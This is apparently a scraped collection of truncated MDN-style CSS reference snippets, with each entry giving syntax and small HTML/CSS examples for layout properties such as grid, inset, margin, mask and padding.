background-color: #f4f7f8; resize: horizontal; overflow: hidden; display: flex; margin: 1em; } .item { margin: 1em; padding: 0.5em; width: 110px; min-width: 0;
background-color: #1b5385; color: white; font-family: monospace; font-size: 13px; } .initial { flex: initial; } .auto { flex: auto; } .none { flex: none; } .four { flex: 4; } .two { flex: 2; } .one { f...
float - CSS: Cascading Style Sheets
phasellus feugiat est vel leo finibus congue.</p> </section> css section { border: 1px solid blue; width: 100%; float: left; } div { margin: 5px; width: 50px; height: 150px; } .left { float: left;
background: pink; } .right { float: right;
background: cyan; } result clearing floats sometimes you may want to force an item to move below any floated elements.
font-variant-position - CSS: Cascading Style Sheets
-variant-position: normal; font-variant-position: sub; font-variant-position: super; /* global values */ font-variant-position: inherit; font-variant-position: initial; font-variant-position: unset; when the usage of these alternate glyphs is activated, if one character in the run doesn't have such a typographically-enhanced glyph, the whole set of characters of the run is rendered using a fall
back method, synthesizing these glyphs.
grid-area - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid areas html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template: repeat(4, 1fr) / 50px 100px; } #item1 {
background-color: lime; grid-area: 2 / 2 / auto / span 3; } #item2 {
background-color: yellow; } #item3 {
background-color: blue; } result specifications specification status comment css grid layoutthe definition of 'grid-area' in that specification.
grid-auto-columns - CSS: Cascading Style Sheets
th> = <length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples setting grid column size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { height: 100px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-columns: 200px; } #grid > div {
background-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-columns' in that specification.
grid-auto-rows - CSS: Cascading Style Sheets
le-breadth> = <length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples setting grid row size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { width: 200px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-rows: 100px; } #grid > div {
background-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-rows' in that specification.
grid-column-end - CSS: Cascading Style Sheets
ass="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px;
background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-...
grid-column-start - CSS: Cascading Style Sheets
ass="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px;
background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-...
grid-column - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid column size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template-columns: repeat(6, 1fr); grid-template-rows: 100px; } #item1 {
background-color: lime; } #item2 {
background-color: yellow; grid-column: 2 / 4; } #item3 {
background-color: blue; grid-column: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-column' in that specification.
grid-row-end - CSS: Cascading Style Sheets
ass="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px;
background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-end...
grid-row-start - CSS: Cascading Style Sheets
ass="box5">five</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; grid-row-end: 3; } .box2 { grid-column-start: 1; grid-row-start: 3; grid-row-end: 5; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px;
background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-sta...
grid-row - CSS: Cascading Style Sheets
] | [ span && [ <integer> | <custom-ident> ] ] examples setting grid row size and location html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(6, 1fr); } #item1 {
background-color: lime; } #item2 {
background-color: yellow; grid-row: 2 / 4; } #item3 {
background-color: blue; grid-row: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-row' in that specification.
grid-template-areas - CSS: Cascading Style Sheets
ge"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> css #page { display: grid; width: 100%; height: 250px; grid-template-areas: "head head" "nav main" "nav foot"; grid-template-rows: 50px 1fr 30px; grid-template-columns: 150px 1fr; } #page > header { grid-area: head;
background-color: #8ca0ff; } #page > nav { grid-area: nav;
background-color: #ffa08c; } #page > main { grid-area: main;
background-color: #ffff64; } #page > footer { grid-area: foot;
background-color: #8cffa0; } result specifications specification status comment css grid layoutthe definition of 'grid-template-areas' in that specification.
grid-template-columns - CSS: Cascading Style Sheets
ontent | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | auto<fixed-breadth> = <length-percentage>where <length-percentage> = <length> | <percentage> examples specifying grid column sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; width: 100%; grid-template-columns: 50px 1fr; } #areaa {
background-color: lime; } #areab {
background-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-columns' in that specification.
grid-template-rows - CSS: Cascading Style Sheets
ax-content | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | auto<fixed-breadth> = <length-percentage>where <length-percentage> = <length> | <percentage> examples specifying grid row sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; height: 100px; grid-template-rows: 30px 1fr; } #areaa {
background-color: lime; } #areab {
background-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-rows' in that specification.
grid-template - CSS: Cascading Style Sheets
max-content | autowhere <length-percentage> = <length> | <percentage> examples defining a grid template css #page { display: grid; width: 100%; height: 200px; grid-template: [header-left] "head head" 30px [header-right] [main-left] "nav main" 1fr [main-right] [footer-left] "nav foot" 30px [footer-right] / 120px 1fr; } header {
background-color: lime; grid-area: head; } nav {
background-color: lightblue; grid-area: nav; } main {
background-color: yellow; grid-area: main; } footer {
background-color: red; grid-area: foot; } html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> result specifications specification...
grid - CSS: Cascading Style Sheets
/ <'grid-template-columns'> examples creating a grid layout html <div id="container"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #container { display: grid; grid: repeat(2, 60px) / auto-flow 80px; } #container > div {
background-color: #8ca0ff; width: 50px; height: 50px; } result specifications specification status comment css grid layoutthe definition of 'grid' in that specification.
ident - CSS: Cascading Style Sheets
it consists of one or more characters, where characters can be any of the following: any alphabetical character (a to z, or a to z), any decimal digit (0 to 9), a hyphen (-), an underscore (_), an escaped character (preceded by a
backslash, \), a unicode character (in the format of a
backslash, \, followed by one to six hexadecimal digits, representing its unicode code point) note that id1, id1, id1 and id1 are all different identifiers as they are case-sensitive.
inline-size - CSS: Cascading Style Sheets
formal definition initial valueautoapplies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as width and heightanimation typea length, percentage or calc(); formal syntax <'width'> examples setting inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; inline-size: 110px; } result specifications specification status comment css logical properties and values level 1the definition of 'inline-size' in that specification.
inset-block-end - CSS: Cascading Style Sheets
finition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block end offset html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-block-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block-end' in that specification.
inset-block-start - CSS: Cascading Style Sheets
nition initial valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting block start offset html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block-start: 20px;
background-color: #c8c800; } specifications specification status comment css logical properties and values level 1the definition of 'inset-block-start' in that specification.
inset-block - CSS: Cascading Style Sheets
l valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting block start and end offsets html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-block: 20px 50px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-block' in that specification.
inset-inline-end - CSS: Cascading Style Sheets
efinition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline end offset html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; position: relative; inset-inline-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-end' in that specification.
inset-inline-start - CSS: Cascading Style Sheets
nition initial valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'> examples setting inline start offset html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline-start: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline-start' in that specification.
inset-inline - CSS: Cascading Style Sheets
l valueautoapplies topositioned elementsinheritednopercentageslogical-width of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,2} examples setting inline start and end offsets html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; position: relative; inset-inline: 20px 50px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset-inline' in that specification.
inset - CSS: Cascading Style Sheets
valueautoapplies topositioned elementsinheritednopercentageslogical-height of containing blockcomputed valuesame as box offsets: top, right, bottom, left properties except that directions are logicalanimation typea length, percentage or calc(); formal syntax <'top'>{1,4} examples setting offsets for an element html <div> <span class="exampletext">example text</span> </div> css div {
background-color: yellow; width: 150px; height: 120px; position: relative; } .exampletext { writing-mode: sideways-rl; position: absolute; inset: 20px 40px 30px 10px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'inset' in that specification.
isolation - CSS: Cascading Style Sheets
t applies to container elements, graphics elements, and graphics referencing elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | isolate examples forcing a new stacking context for an element html <div id="b" class="a"> <div id="d"> <div class="a c">auto</div> </div> <div id="e"> <div class="a c">isolate</div> </div> </div> css .a {
background-color: rgb(0,255,0); } #b { width: 200px; height: 210px; } .c { width: 100px; height: 100px; border: 1px solid black; padding: 2px; mix-blend-mode: difference; } #d { isolation: auto; } #e { isolation: isolate; } result specifications specification status comment compositing and blending level 1the definition of 'isolation' in that specific...
<length> - CSS: Cascading Style Sheets
html <div class="outer"> <div class="input-container"> <label>enter width:</label> <input type="text" id="length"> </div> <div class="inner"> </div> </div> <div class="results"> </div> css html { font-family: sans-serif; font-weight: bold; box-sizing: border-box; } .outer { width: 100%; height: 50px;
background-color: #eee; position: relative; } .inner { height: 50px;
background-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5); } .result { height: 20px;
background-color: #999; box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5), inset -3px -3px 5px rgba(0,0,0,0.5);
background-color: orange; display...
margin-block-end - CSS: Cascading Style Sheets
nition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block end margin html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-end' in that specification.
margin-block-start - CSS: Cascading Style Sheets
tion initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting block start margin html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-block-start: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block-start' in that specification.
margin-block - CSS: Cascading Style Sheets
value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting block start and end margins html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-block: 20px 40px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-block' in that specification.
margin-bottom - CSS: Cascading Style Sheets
x2">box one's negative margin pulls me up</div> </div> css css for divs to set margin-bottom and height .box0 { margin-bottom:1em; height:3em; } .box1 { margin-bottom:-1.5em; height:4em; } .box2 { border:1px dashed black; border-width:1px 0; margin-bottom:2em; } some definitions for container and divs so margins' effects can be seen more clearly .container {
background-color:orange; width:320px; border:1px solid black; } div { width:320px;
background-color:gold; } result specifications specification status comment css basic box modelthe definition of 'margin-bottom' in that specification.
margin-inline-end - CSS: Cascading Style Sheets
ition initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline end margin html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-end' in that specification.
margin-inline-start - CSS: Cascading Style Sheets
ion initial value0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length formal syntax <'margin-left'> examples setting inline start margin html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; margin-inline-start: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline-start' in that specification.
margin-inline - CSS: Cascading Style Sheets
alue0applies tosame as margininheritednopercentagesdepends on layout modelcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typediscrete formal syntax <'margin-left'>{1,2} examples setting inline start and end margins html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; margin-inline: 20px 40px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'margin-inline' in that specification.
margin-trim - CSS: Cascading Style Sheets
uted valueas specifiedanimation typediscrete formal syntax none | in-flow | all examples basic usage once support is implemented for this property, it will probably work like so: when you've got a container with some inline children and you want to put a margin between each child but not have it interfere with the spacing at the end of the row, you might do something like this: article {
background-color: red; margin: 20px; padding: 20px; display: inline-block; } article > span {
background-color: black; color: white; text-align: center; padding: 10px; margin-right: 20px; } the problem here is that you'd end up with 20px too much spacing at the right of the row, so you'd maybe do this to fix it: span:last-child { margin-right: 0; } it is a pain having to write an...
margin - CSS: Cascading Style Sheets
formal syntax [ <length> | <percentage> | auto ]{1,4} examples simple example html <div class="center">this element is centered.</div> <div class="outside">this element is positioned outside of its container.</div> css .center { margin: auto;
background: lime; width: 66%; } .outside { margin: 3rem 0 0 -3rem;
background: cyan; width: 66%; } more examples margin: 5%; /* all sides: 5% margin */ margin: 10px; /* all sides: 10px margin */ margin: 1.6em 20px; /* top and bottom: 1.6em margin */ /* left and right: 20px margin */ margin: 10px 3% -1em; /* top: ...
mask-border - CSS: Cascading Style Sheets
div { width: 200px;
background-color: lavender; border: 18px solid salmon; padding: 10px; /* prefixed longhand properties currently supported in chromium -webkit-mask-box-image-source: url(https://udn.realityripple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat: round; -webkit-mask-box-image-outset: 1px; ...
mask-clip - CSS: Cascading Style Sheets
e defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <geometry-box> | no-clip ]#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px;
background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</opti...
mask-composite - CSS: Cascading Style Sheets
initial valueaddapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <compositing-operator>#where <compositing-operator> = add | subtract | intersect | exclude examples compositing mask layers with addition css #masked { width: 100px; height: 100px;
background-color: #8cffa0; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg), url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <opti...
mask-image - CSS: Cascading Style Sheets
gth-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting a mask image with a url html <div id="masked"></div> css #masked { width: 100px; height: 100px;
background-color: #8cffa0; -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); } result specifications specification status comment css masking module level 1the definition of 'mask-image' in that specification.
mask-mode - CSS: Cascading Style Sheets
formal definition initial valuematch-sourceapplies toall elements; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <masking-mode>#where <masking-mode> = alpha | luminance | match-source examples using alpha mask mode css #masked { width: 227px; height: 200px;
background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var mask...
mask-origin - CSS: Cascading Style Sheets
s elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <geometry-box>#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue;
background-color: #8cffa0; padding: 10px; mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <opt...
mask-repeat - CSS: Cascading Style Sheets
; in svg, it applies to container elements excluding the defs element and all graphics elementsinheritednocomputed valueconsists of two keywords, one per dimensionanimation typediscrete formal syntax <repeat-style>#where <repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2} examples setting repeat for a single mask css #masked { width: 250px; height: 250px;
background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-repeat: repeat; /* can be changed in the live sample */ margin-bottom: 10px; } html content <div id="masked"> </div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</op...
mask-size - CSS: Cascading Style Sheets
ted valueas specified, but with relative lengths converted into absolute lengthsanimation typerepeatable list of simple list of length, percentage, or calc formal syntax <bg-size>#where <bg-size> = [ <length-percentage> | auto ]{1,2} | cover | containwhere <length-percentage> = <length> | <percentage> examples setting mask size as a percentage css #masked { width: 200px; height: 200px;
background: blue linear-gradient(red, blue); -webkit-mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); -webkit-mask-size: 50%; mask-size: 50%; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="masked"> </div> <select id="masksize"> <option value="auto">auto</option> <option ...
max-block-size - CSS: Cascading Style Sheets
.standard-box { padding: 4px;
background-color: #abcdef; color: #000; font: 16px "open sans", "helvetica", "arial", sans-serif; max-block-size: 160px; min-block-size: 100px; } .horizontal { writing-mode: horizontal-tb; } .vertical { writing-mode: vertical-rl; } result specifications specification status comment css logical properties and values level 1the definition of 'max-block-siz...
max-inline-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as max-width and max-heightanimation typea length, percentage or calc(); formal syntax <'max-width'> examples setting max inline size in pixels html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; block-size: 100%; max-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'max-inline-size' in that specification.
max-width - CSS: Cascading Style Sheets
</div> </div> css #parent {
background: lightblue; width: 300px; } #child {
background: gold; width: 100%; max-width: 150px; } result specifications specification status comment css box sizing module level 4the definition of 'max-width' in that specification.
min-block-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesblock-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum block size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; min-block-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-block-size' in that specification.
min-inline-size - CSS: Cascading Style Sheets
formal definition initial value0applies tosame as width and heightinheritednopercentagesinline-size of containing blockcomputed valuesame as min-width and min-heightanimation typea length, percentage or calc(); formal syntax <'min-width'> examples setting minimum inline size for vertical text html <p class="exampletext">example text</p> css .exampletext { writing-mode: vertical-rl;
background-color: yellow; block-size: 5%; min-inline-size: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'min-inline-size' in that specification.
min() - CSS: Cascading Style Sheets
let's look at some css: input, label { padding: 2px; box-sizing: border-box; display: inline-block; width: min(40%, 400px);
background-color: pink; } form { margin: 4px; border: 1px solid black; padding: 4px; } here, the form itself, along with the margin, border, and padding, will be 100% of its parent's width.
minmax() - CSS: Cascading Style Sheets
<percentage> | <flex> | min-content | max-content | auto ] ) css properties minmax() function can be used within: grid-template-columns grid-template-rows grid-auto-columns grid-auto-rows examples css #container { display: grid; grid-template-columns: minmax(min-content, 300px) minmax(200px, 1fr) 150px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%;
background-color: #8cffa0; padding: 10px; } #container > div {
background-color: #8ca0ff; padding: 5px; } html <div id="container"> <div> item as wide as the content, but at most 300 pixels.
offset-distance - CSS: Cascading Style Sheets
html <div id="motion-demo"></div> css #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px;
background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } result specifications specification status comment motion path module level 1the definition of 'offset-distance' in that specification.
offset-rotate - CSS: Cascading Style Sheets
formal definition initial valueautoapplies totransformable elementsinheritednocomputed valueas specifiedanimation typeas <angle>, <basic-shape> or <path()> formal syntax [ auto | reverse ] | <angle> examples setting element orientation along its offset path html <div></div> <div></div> <div></div> css div { width: 40px; height: 40px;
background: #2bc4a2; margin: 20px; clip-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { offset-d...
offset - CSS: Cascading Style Sheets
examples animating an element along a path html <div id="offsetelement"></div> css @keyframes move { from { offset-distance: 0%; } to { offset-distance: 100%; } } #offsetelement { width: 50px; height: 50px;
background-color: blue; offset: path("m 100 100 l 300 100 l 200 300 z") auto; animation: move 3s linear infinite; } result specifications specification status comment motion path module level 1the definition of 'offset' in that specification.
orphans - CSS: Cascading Style Sheets
it has a little bit more text than the first one.</p> </div> css div {
background-color: #8cffa0; height: 150px; columns: 3; orphans: 3; } p {
background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css fragmentation module level 3the definition of 'orphans' in that specification.
outline - CSS: Cascading Style Sheets
width: a lengthoutline-style: discrete formal syntax [ <'outline-color'> | <'outline-style'> | <'outline-width'> ] examples using outline to set a focus style html <a href="#">this link has a special focus style.</a> css a { border: 1px solid; border-radius: 3px; display: inline-block; margin: 10px; padding: 5px; } a:focus { outline: 4px dotted #e73; outline-offset: 4px;
background: #ffa; } result specifications specification status comment css basic user interface module level 3the definition of 'outline' in that specification.
overflow-wrap - CSS: Cascading Style Sheets
(<code>hyphens</code>, german rules)</p> css p { width: 13em; margin: 2px;
background: gold; } .ow-anywhere { overflow-wrap: anywhere; } .ow-break-word { overflow-wrap: break-word; } .word-break { word-break: break-all; } .hyphens { hyphens: auto; } result specifications specification status comment css text module level 3the definition of 'overflow-wrap' in that specification.
padding-block-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block end padding for vertical text html content <div> <p class="exampletext">example text</p> </div> css content div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-end: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-end' in that specification.
padding-block-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block start padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; padding-block-start: 20px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block-start' in that specification.
padding-block - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typediscrete formal syntax <'padding-left'>{1,2} examples setting block padding for vertical text html <div> <p class="exampletext">example text</p> </div> css div {
background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-rl; padding-block: 20px 40px;
background-color: #c8c800; } result specifications specification status comment css logical properties and values level 1the definition of 'padding-block' in that specification.
padding-inline-end - CSS: Cascading Style Sheets
